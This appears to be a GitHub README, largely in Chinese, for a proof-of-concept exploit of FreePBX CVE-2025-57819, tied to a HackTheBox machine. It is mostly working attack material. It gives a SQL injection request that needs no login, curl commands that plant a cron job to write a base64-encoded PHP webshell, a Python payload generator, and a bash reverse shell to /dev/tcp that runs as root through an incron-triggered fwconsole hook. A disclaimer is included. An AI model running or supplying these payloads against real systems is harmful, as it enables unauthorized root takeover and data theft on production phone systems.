YuvrajSHAD/FreePBX-CVE-2025-57819
GitHub: YuvrajSHAD/FreePBX-CVE-2025-57819
针对 FreePBX CVE-2025-57819 未授权 SQL 注入漏洞的概念验证工具,演示从无凭据注入到获取 root shell 的完整利用链。
Stars: 0 | Forks: 0
# FreePBX CVE-2025-57819 — 未授权 SQLi 到 Root RCE
## 概述
FreePBX `endpoint` 模块中存在一个未授权的 SQL 注入漏洞,该漏洞通过 `/admin/ajax.php` 中的 `brand` 参数触发。利用此漏洞无需任何凭据。
结合 FreePBX 的内部 cron 作业机制以及 `incron`/`fwconsole` 钩子系统,这最终会导致获取一个完全未授权的 root shell。
## 攻击链
```
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
```
## 用法
```
pip install requests
python3 CVE-2025-57819.py
```
**示例:**
```
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
```
**输出:**
```
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
```
## 工作原理
### 阶段 1 — SQL 注入
endpoint 模块 AJAX 处理程序中的 `brand` 参数在未经清理的情况下直接传递到了 SQL 查询中:
```
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
```
这会在 XPATH 错误中返回数据库名称——这是一种经典的基于错误的 SQLi 技术。同时还支持堆叠查询,允许执行 `INSERT`、`UPDATE` 和 `DELETE` 操作。
### 阶段 2 — 通过 Cron 传播 Webshell
利用堆叠查询,将一个 cron 作业插入到 FreePBX 的 `cron_jobs` 表中:
```
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
```
FreePBX 的 cron 运行器每分钟执行一次此操作,将一个 PHP webshell 释放到 Web 根目录中。
### 阶段 3 — 通过 Incron + fwconsole 钩子提权至 Root
`incrond` 监视 `/var/spool/asterisk/incron/`(可由 `asterisk` 用户写入)。当在此目录中创建文件时,它会以 root 身份触发 `/usr/bin/sysadmin_manager`。
文件名格式 `api.fwconsole-commands.` 映射到一个预先存在的 GPG 签名钩子,位于:
```
/var/www/html/admin/modules/api/hooks/fwconsole-commands
```
该钩子将文件名解码为 `base64(zlib(json([cmd, txn_id])))` payload 并执行:
```
$cmd = "/usr/sbin/fwconsole $command 2>&1";
```
使用 `help;` 作为前缀能满足 fwconsole 对有效命令的要求,而 `;` 则可连接任意 shell 命令:
```
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
```
这将作为 root 执行,从而提供一个完整的 root shell。
## 手动利用
### 步骤 1 — 验证 SQLi
```
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
```
### 步骤 2 — 释放 Webshell
```
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
```
### 步骤 3 — 生成 Root Payload
```
# 保存到文件以避免 shell 引号问题
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
```
### 步骤 4 — 触发 Root Shell
```
# 在目标上(通过 webshell 作为 asterisk)
touch "/var/spool/asterisk/incron/api.fwconsole-commands."
```
## 分析过程中的关键发现
| 发现 | 详情 |
|---|---|
| 数据库 | asterisk (MariaDB 5.5.65) |
| 数据库用户 | freepbxuser@localhost |
| Web 用户 | asterisk (uid=999) |
| Cron 表 | 可通过 SQLi 写入 |
| Incron 目录 | /var/spool/asterisk/incron/ (可由 asterisk 写入) |
| 权限提升 | fwconsole 钩子通过 incrond 以 root 身份运行 |
| 提权至 Root 的方法 | Incron 触发 → 签名的 fwconsole 钩子 → 命令注入 |
## 披露时间线
| 日期 | 事件 |
|---|---|
| 2025 | 发现并报告漏洞 |
| 2025-11-30 | 靶机在 HackTheBox 上线 |
| 2025 | 分配 CVE-2025-57819 |
## 免责声明
此工具仅用于教育目的和授权的安全测试。请勿对未获得明确许可的系统使用。作者不对任何滥用行为负责。
## 参考
- [watchTowr Labs PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819)
- [FreePBX 安全公告](https://github.com/freepbx/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h)
- [CVE-2025-57819 详情](https://www.cve.org/CVERecord?id=CVE-2025-57819)
标签:CISA项目, FreePBX, 多线程, 应用安全, 编程工具, 远程代码执行, 逆向工具